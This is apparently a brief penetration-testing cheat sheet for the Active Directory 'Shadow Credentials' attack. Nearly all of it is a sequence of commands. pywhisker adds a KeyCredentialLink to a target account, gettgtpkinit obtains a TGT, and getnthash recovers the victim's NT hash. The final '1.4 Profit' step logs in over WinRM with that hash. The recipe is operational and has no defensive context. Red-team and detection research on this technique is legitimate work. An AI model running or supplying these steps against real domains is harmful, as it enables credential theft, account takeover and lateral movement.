CRD - Shadow Credentials

Technique

Shadow Credentials

1.0 Obtain user hash

1.1 Manipulate KeyCredentialLink

python pywhisker.py -d 'domain.local' -u $user -p $pass --target $targetuser --action 'add'

1.2 Get a TGT PKI

Get TGT PKI, export ccache and retrieve AS REP Key (important for the next step)

python gettgtpkinit.py -cert-pfx ../pywhisker/$cert.pfx -pfx-pass $cert_pass domain.local/targetuser targetuser.ccache

export KRB5CCNAME=targetuser.ccache

1.3 Recover NT Hash

python getnthash.py -key ASREPKEY domain.local/targetuser

1.4 Profit

winrm -i $ip -u $targetuser -H $hash

References

• Link